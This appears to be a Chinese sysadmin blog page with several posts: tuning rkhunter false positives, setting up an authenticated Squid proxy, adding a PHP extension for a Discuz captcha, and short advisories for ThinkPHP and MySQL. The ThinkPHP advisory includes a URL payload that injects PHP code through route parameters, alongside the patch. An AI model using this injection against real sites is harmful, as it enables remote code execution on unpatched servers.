[13:52:35] /usr/bin/ldd [ Warning ]
[13:52:35] Warning: The command ‘/usr/bin/ldd’ has been replaced by a script: /usr/bin/ldd: Bourne shell script text executable
[13:52:39] /usr/bin/whatis [ Warning ]
[13:52:39] Warning: The command ‘/usr/bin/whatis’ has been replaced by a script: /usr/bin/whatis: Bourne shell script text executable
[13:53:44] Checking for hidden files and directories [ Warning ]
[13:53:44] Warning: Hidden directory found: /dev/.udev
[13:53:44] Warning: Hidden file found: /usr/share/man/man1/..1.gz: gzip compressed data, from Unix, max compression
[13:53:44] Warning: Hidden file found: /usr/bin/.fipscheck.hmac: ASCII text
[13:53:44] Warning: Hidden file found: /usr/bin/.ssh.hmac: ASCII text
[13:53:44] Warning: Hidden file found: /usr/sbin/.sshd.hmac: ASCII text
[13:53:45] Checking version of OpenSSL [ Warning ]
[13:53:45] Warning: Application ‘openssl’, version ‘0.9.8e’, is out of date, and possibly a security risk.
[13:53:45] Checking version of OpenSSH [ Warning ]
[13:53:45] Warning: Application ‘sshd’, version ‘4.3p2’, is out of date, and possibly a security risk.

三.修正误报
可以看到上面信息基本为误报

还有更新了部分包可能会因起No hash value found错误;
grep是安装nginx时更新了pcre
amd是安装sasl认证

Warning: No hash value found for file ‘/bin/egrep’ in the rkhunter.dat file.
Warning: No hash value found for file ‘/bin/fgrep’ in the rkhunter.dat file.
Warning: No hash value found for file ‘/bin/grep’ in the rkhunter.dat file.
Warning: No hash value found for file ‘/usr/sbin/amd’ in the rkhunter.dat file.

使用prelink可以查看

# prelink –verify –sha /bin/egrep
prelink: /bin/egrep: at least one of file’s dependencies has changed since prelinking
# prelink /bin/egrep
prelink: /usr/local/lib/libpcre.so.0.0.1 is not present in any config file directories, nor was specified on command line
# prelink –verify –sha /usr/sbin/amd
prelink: /usr/sbin/amd: at least one of file’s dependencies has changed since prelinking
# prelink /usr/sbin/amd
prelink: /usr/local/sasl2/lib/libsasl2.so.2.0.22 is not present in any config file directories, nor was specified on command line
Aborted

cp /usr/local/rkhunter/etc/rkhunter.conf{,.bak}
网上部分脚本已失效,我对此作了些修改

sed -i ‘s/#SCRIPTWHITELIST=\/sbin\/ifup/SCRIPTWHITELIST=\/sbin\/ifup/’ /opt/rthunter/etc/rkhunter.conf
sed -i ‘s/#SCRIPTWHITELIST=\/sbin\/ifdown/SCRIPTWHITELIST=\/sbin\/ifdown/’ /opt/rthunter/etc/rkhunter.conf

sed -i ‘/#SCRIPTWHITELIST=”\/sbin\/ifup/ {s/^#//g}’ /usr/local/rkhunter/etc/rkhunter.conf
sed -i ‘/#SCRIPTWHITELIST=”\/usr\/bin\/groups”/ {s/^#//g}’ /usr/local/rkhunter/etc/rkhunter.conf
sed -i ‘/#ALLOWHIDDENDIR=”\/etc\/.java”/ {s/^#//g}’ /usr/local/rkhunter/etc/rkhunter.conf
sed -i ‘/#ALLOWHIDDENDIR=”\/dev\/.mdadm”/ {s/^#//g}’ /usr/local/rkhunter/etc/rkhunter.conf
sed -i ‘/#ALLOWHIDDENDIR=”\/dev\/.udev/ {s/^#//g}’ /usr/local/rkhunter/etc/rkhunter.conf
sed -i ‘/#ALLOWHIDDENFILE=”\/usr\/share\/man\/man1\/..1.gz”/ {s/^#//g}’ /usr/local/rkhunter/etc/rkhunter.conf
sed -i ‘/#ALLOWHIDDENFILE=”\/usr\/bin\/.fipscheck.hmac”/ {s/^#//g}’ /usr/local/rkhunter/etc/rkhunter.conf
sed -i ‘/#ALLOWHIDDENFILE=”\/usr\/bin\/.ssh.hmac”/ {s/^#//g}’ /usr/local/rkhunter/etc/rkhunter.conf
sed -i ‘/#ALLOWHIDDENFILE=”\/usr\/sbin\/.sshd.hmac”/ {s/^#//g}’ /usr/local/rkhunter/etc/rkhunter.conf
echo ‘IGNORE_PRELINK_DEP_ERR=”/bin/egrep /bin/fgrep /bin/grep /usr/sbin/amd /usr/bin/less” ‘ >> /usr/local/rkhunter/etc/rkhunter.conf
echo ‘SCRIPTWHITELIST=/usr/bin/ldd’ >> /usr/local/rkhunter/etc/rkhunter.conf
echo ‘SCRIPTWHITELIST=/usr/bin/whatis’ >> /usr/local/rkhunter/etc/rkhunter.conf
echo ‘SCRIPTWHITELIST=/usr/bin/GET’ >> /usr/local/rkhunter/etc/rkhunter.conf
echo ‘ALLOWHIDDENFILE=/usr/share/man/man5/.k5login.5.gz’ >> /usr/local/rkhunter/etc/rkhunter.conf
echo ‘APP_WHITELIST=”openssl:0.9.8e sshd:4.3p2″‘ >> /usr/local/rkhunter/etc/rkhunter.conf

echo ‘ALLOWDEVFILE=”/dev/shm/nginx.pid”‘ >> /usr/local/rkhunter/etc/rkhunter.conf

#注意openssl和sshd的版本号

再次更新和检测
/usr/local/rkhunter/bin/rkhunter –propupd

[ Rootkit Hunter version 1.3.8 ]
File updated: searched for 164 files, found 135

跳过按键只输出warning,不再有显示
/usr/local/rkhunter/bin/rkhunter -c –sk –rwo

四.自动报告
每天5点检测并发送通知邮件
vi /var/spool/cron/root

3 5 * * * (/usr/local/rkhunter/bin/rkhunter –cronjob -l –nomow –rwo | mail -s “[rkhunter] report `hostname` `date`” root@localhost)

参考:http://sourceforge.net/apps/trac/rkhunter/wiki/SPRKH#Introduction

===============2012-4-18更新
修正应更新而产生的误报,运行时检查文件存,如果文件不存在就不要加在里面

ALLOWDEVFILE=”/dev/shm/nginx.pid”
IGNORE_PRELINK_DEP_ERR=”/bin/egrep /bin/fgrep /bin/grep /usr/sbin/amd /usr/bin/less”

hdparm 的Xzibit Rootkit

[15:29:12] Warning: Checking for possible rootkit strings [ Warning ]
[15:29:12] Found string ‘hdparm’ in file ‘/etc/rc.d/rc.sysinit’. Possible rootkit: Xzibit Rootkit


RTKT_FILE_WHITELIST=”/etc/rc.d/rc.sysinit:hdparm”

===============2012-4-28更新
修正The file properties have changed
rkhunter在crontab中运行和手功运行有差异
就算你在配置文件中写了IGNORE_PRELINK_DEP_ERR,在日志中还是会有
[05:45:10] /usr/bin/less [ Warning ]
[05:45:10] Warning: The file properties have changed:

prelink /usr/bin/less

prelink: /usr/local/lib/libpcre.so.0.0.1 is not present in any config file directories, nor was specified on command line

#增加库链接
echo ‘-l /usr/local/lib’ >> /etc/prelink.conf
#再次执行就没错了,把每个prelink出错的命令都运行下
prelink /usr/bin/less

#修改配置文件将IGNORE_PRELINK_DEP_ERR 提到USER_FILEPROP_FILES_DIRS下面
#再rkhunter –propupd更新
#使用conrtab调试不再报错

Posted in 安全.

Tagged with , .


Squid带验证(NCSA)的透明代理

NCSA验证辅助器相对流行,这归咎于它的简单性和历史原因。它将用户名和密码存储在一个单独的文本文件里,类似于Unix的/etc/passwd文件。这个密码文件格式最初是作为NCSA HTTP服务器项目的一部分发展而来的。在squid.conf里,只须指定密码文件的路径作为程序的单一命令行参数。squid已经发布到squid 3.x,这里仍然使用相对稳定的squid-2.6.STABLE23

一.安装squid
wget http://www.squid-cache.org/Versions/v2/2.6/squid-2.6.STABLE23.tar.gz
tar zxvf squid-2.6.STABLE23.tar.gz
cd squid-2.6.STABLE23

编译优化参考
http://en.gentoo-wiki.com/wiki/Safe_Cflags/Intel#Core_2_Duo.2FQuad.2C_Xeon_51xx.2F53xx.2F54xx.2F3360.2C_Pentium_Dual-Core_T23xx.2B.2FExxxx.2C_Celeron_Dual-Core

gcc –version
gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-50)

CHOST=”x86_64-pc-linux-gnu”
CFLAGS=”-march=core2 -mtune=generic -O2 -pipe”
CXXFLAGS=”${CFLAGS}”

export CHOST=”x86_64-pc-linux-gnu”
export CFLAGS=”-march=core2 -mtune=generic -O2 -pipe”
export CXXFLAGS=”${CFLAGS}”


ulimit -HSn 65536


./configure –prefix=/opt/squid-2.6.STABLE23 –with-maxfd=65536 –with-pthreads –enable-dlmalloc –enable-poll –enable-useragent-log –enable-referer-log –with-large-files –enable-default-err-language=Simplify_Chinese –enable-err-languages=”Simplify_Chinese English” –disable-internal-dns –enable-auth=”basic” –enable-basic-auth-helpers=NCSA
make
make install

NCSA认证需加编译时加上–enable-auth=”basic” –enable-basic-auth-helpers=NCSA

二.配置squid.conf文件
配置软链接方便管理

cd /opt/
ln -s ./squid-2.6.STABLE23 ./squid

去除squid配置文件的注释

cat /opt/squid/etc/squid.conf
cat /opt/squid/etc/squid.conf.default |grep -v ^# |grep -v ^$ > /opt/squid/etc/squid.conf

或者编辑个新的,对外3128端口
vi /opt/squid/etc/squid.conf

#squid信息
visible_hostname proxy
#联系人
cache_mgr administrator
http_port 3128 transparent

# 单机
icp_port 0

# 分配给squid的内存
cache_mem 500 MB

cache_swap_low 90
cache_swap_high 95

# 超过此值不被缓存
maximum_object_size 500 KB

# 装入内存的文件大小上限
maximum_object_size_in_memory 200 KB

# 缓存类型,缓存目录,大小,一二级目录
cache_dir ufs /opt/squid/spool 4000 16 256

# 支持header的vary
cache_vary on

# 进程文件
pid_filename /var/log/squid/squid.pid

# 使用apache格式日志
emulate_httpd_log on

# 日志;设none可禁用
logformat combined %>a %ui %un [%tl] “%rm %ru HTTP/%rv” %Hs %h” “%{User-Agent}>h” %Ss:%Sh

cache_store_log none
cache_log /var/log/squid/cache.log
access_log /var/log/squid/access.log combined
#access_log none

auth_param basic program /opt/squid/libexec/ncsa_auth /opt/squid/etc/passwd
acl auth_user proxy_auth REQUIRED

acl all src 0.0.0.0/0.0.0.0
acl manager proto cache_object
acl localhost src 127.0.0.1/255.255.255.255
acl to_localhost dst 127.0.0.0/8

acl SSL_ports port 443
acl Safe_ports port 80 # http
acl Safe_ports port 21 # ftp
acl Safe_ports port 443 # https
acl Safe_ports port 70 # gopher
acl Safe_ports port 210 # wais
acl Safe_ports port 1025-65535 # unregistered ports
acl Safe_ports port 280 # http-mgmt
acl Safe_ports port 488 # gss-http
acl Safe_ports port 591 # filemaker
acl Safe_ports port 777 # multiling http
acl CONNECT method CONNECT

hierarchy_stoplist cgi-bin ?
acl QUERY urlpath_regex cgi-bin \?
cache deny QUERY

#不要相信ETag 因为有gzip
acl apache rep_header Server ^Apache
broken_vary_encoding allow apache

http_access allow manager localhost
http_access deny manager
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports

#只充许认证用户
http_access allow auth_user

http_access deny all
#icp_access allow all

cachemgr_passwd disable config shutdown authenticator offline_toggle
#cachemgr_passwd none info stats/objects
#cachemgr_passwd secretPP all

# ip限制
#acl OverConnLimit maxconn 16
#http_access deny OverConnLimit

#squid使用的用户组和用户
cache_effective_user nobody
cache_effective_group nobody
tcp_recv_bufsize 65535 bytes

# 隐藏squid的版本信息
header_access Via deny all
#显示服务器的ip,隐藏真实客户ip
header_access X-Forwarded-For deny all

coredump_dir /opt/squid-2.6.STABLE23/var/cache

# 出错提示
error_directory /opt/squid/share/errors/Simplify_Chinese

三.相关目录

mkdir /opt/squid/spool
chown nobody:nobody /opt/squid/spool
mkdir /var/log/squid
chown nobody /var/log/squid

初始化
/opt/squid/sbin/squid -z

2011/04/13 17:29:54| Creating Swap Directories

启动
/opt/squid/sbin/squid -s

四,squid常用命令
1,初始化你在 squid.conf 里配置的 cache 目录
#squid/sbin/squid -z
如果有错误提示,请检查你的 cache目录的权限。
2,对你的squid.conf 排错,即验证 squid.conf 的 语法和配置。
#squid/sbin/squid -k parse
如果squid.conf 有语法或配置错误,这里会返回提示你,如果没有返回,恭喜,可以尝试启动squid。
3,在前台启动squid,并输出启动过程。
#squid/sbin/squid -N -d1
如果有到 ready to server reques,恭喜,启动成功。
然后 ctrl + c,停止squid,并以后台运行的方式启动它。
4,启动squid在后台运行。
#squid/sbin/squid -s
这时候可以 ps -A 来查看系统进程,可以看到俩个 squid 进程。
5,停止 squid
#squid/sbin/squid -k shutdown
这个不用解释吧。
6,重引导修改过的 squid.conf
#squid/sbin/squid -k reconfigure
这个估计用的时候比较多,当你发现你的配置有不尽你意的时候,可以随时修改squid.conf,然后别忘记对你的 squid.conf排错,然后再执行此指令,即可让squid重新按照你的 squid.conf 来运行。
7,把squid添加到系统启动项
编辑 /etc/rc.d/rc.local
添加如下行:
echo “65535″>/proc/sys/fs/file-max
ulimit -HSn 65535
/opt/squid/sbin/squid -s
当然,并不是每个人都喜欢这种启动方式,你可以用你最习惯的方式;或者把它安装为服务。

#查看运行信息
/opt/squid/bin/squidclient -h 127.0.0.1 -p 3128 mgr:info

#crontab分割日志
20 0 * * * /opt/squid/sbin/squid -k rotate

五.iptables
添加3128为进入充许,INPUT为链名
iptables -A INPUT -p tcp -m tcp –dport 3128 -j ACCEPT
保存iptables
/etc/init.d/iptables save

六.NCSA认证用户
生成用户及密码
htpasswd -c /opt/squid/etc/passwd user_c1g
添加用户
htpasswd /opt/squid/etc/passwd user_andy
修改用户密码可以vi编辑删除后再添加

七.htpasswd获取
htpasswd的获取有点麻烦,可以编译个apache来得到,在bin目录下有这个文件

wget http://apache.etoak.com/httpd/httpd-2.2.22.tar.gz
tar zxvf httpd-2.2.22.tar.gz
cd httpd-2.2.22
./configure –preifx=/opt/httpd
make
make install
#移动文件
cp /opt/httpd/bin/htpasswd /opt/squid/libexec/
#删除apache
rm -rf /opt/httpd

八.浏览器上配置代理
傲游可以写入用户和密码,支持黑名单
firefox加Foxyproxy标准版,支持黑白名单但不能写入密码
360,ie,chrome相对不够方便点

九.去除验证的透明代理
squid.conf中去掉NCSA认证就是个透明代理

acl auth_user proxy_auth REQUIRED
auth_param basic program /opt/squid/libexec/ncsa_auth /opt/squid/etc/passwd
http_access allow auth_user

#把deny 改成allow

http_access deny all

参考:squid权威指南

Posted in Squid/varnish.

Tagged with , .


安装discuz启用flash验证码需要的ming库

近日不断有人换ip来暴力猜discuz密码,开启验证码机制可以减少成功率.

让php支持flash需安装ming库
http://www.libming.org/
当前最新版为ming-0.4.4

一.安装ming

wget http://cdnetworks-kr-1.dl.sourceforge.net/project/ming/Releases/ming-0.4.4.tar.gz
tar zxvf ming-0.4.4.tar.gz
cd ming-0.4.4
./configure
make
make install

二.安装php扩展
进入到php源码目录
/opt/php 为 /opt/php-5.2.17p1 的软链接


cd /home/c1g/src/php-5.2.17/ext/ming
/opt/php/bin/phpize
Configuring for:
PHP Api Version: 20041225
Zend Module Api No: 20060613
Zend Extension Api No: 220060519

./configure –with-php-config=/opt/php/bin/php-config
make
make install

查看是否生成ming.so
ll /opt/php-5.2.17p1/lib/php/extensions/no-debug-non-zts-20060613/
-rwxr-xr-x 1 root root 367094 Apr 13 13:14 ming.so

三.配置php.ini
在php.ini中指定好扩展的目录和需加载的库
vi /opt/php/etc/php.ini

extension_dir = “/opt/php-5.2.17p1/lib/php/extensions/no-debug-non-zts-20060613/”
extension = “ming.so”

重启php
/opt/php/sbin/php-fpm reload

在phpinfo中可以看到

Ming SWF output library enabled
Version 0.4.4

或用命令行查看
/opt/php/bin/php -m

[PHP Modules]
bcmath
ctype
curl
date
dom
eAccelerator
filter
gd
hash
iconv
imagick
json
libxml
mbstring
mcrypt
memcache
mhash
ming
mysql
mysqli
openssl
pcntl
pcre
PDO
pdo_sqlite
posix
Reflection
session
shmop
SimpleXML
soap
sockets
SPL
SQLite
standard
sysvsem
tokenizer
xml
xmlreader
xmlrpc
xmlwriter
Zend Optimizer
zip
zlib

[Zend Modules]
Zend Optimizer
eAccelerator

四,discuz设置
discuz后台->全局->防灌水设置 设置开启Flash 验证码
用户->用户组->游客及相关用户组 启用防灌水验证码或验证问答机制
注意:用户权限一定要设置

参考:phpize不重新编译PHP实现扩展的安装

Posted in Discuz/Uchome/Ucenter, PHP.

Tagged with , , .


ThinkPhp web框架 php代码任意执行漏洞

漏洞版本:
ThinkPHP
漏洞描述:
ThinkPHP是一款国内使用比较广泛的老牌PHP MVC框架,有不少创业公司或者项目都用了这个框架

ThinkPHP不正确过滤用户提交的参数,远程攻击者可以利用漏洞以应用程序上下文执行任意PHP代码

测试方法:

本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
index.php/module/action/param1/${@print(THINK_VERSION)}
安全建议:
用户可下载官方发布的补丁:
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
或者或者直接修改源码:
/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php
$res = preg_replace(‘@(w+)’.$depr.'([^’.$depr.’\/]+)@e’, ‘$var[\’\\1\’]=”\\2″;’, implode($depr,$paths));
修改为
$res = preg_replace(‘@(w+)’.$depr.'([^’.$depr.’\/]+)@e’, ‘$var[\’\\1\’]=”\\2′;’, implode($depr,$paths));
将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。

来自sebug.net

Posted in 安全通告, 技术.

Tagged with , .


Oracle MySQL Server两个不明细节本地漏洞

发布时间: 2012-04-09
漏洞版本:
Oracle MySQL 5.x
漏洞描述:
MySQL是一个小型关系型数据库管理系统,开发者为瑞典MySQLAB公司,在2008年1月16号被Sun公司收购。

Oracle MySQL在实现上存在两个安全漏洞,可被本地利用造成一定的影响。
<* 参考 http://dev.mysql.com/doc/refman/5.5/en/news-5-5-22.html *>
安全建议:
厂商补丁:

Oracle
——
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.oracle.com/technetwork/topics/security/

Posted in Mysql, 安全通告.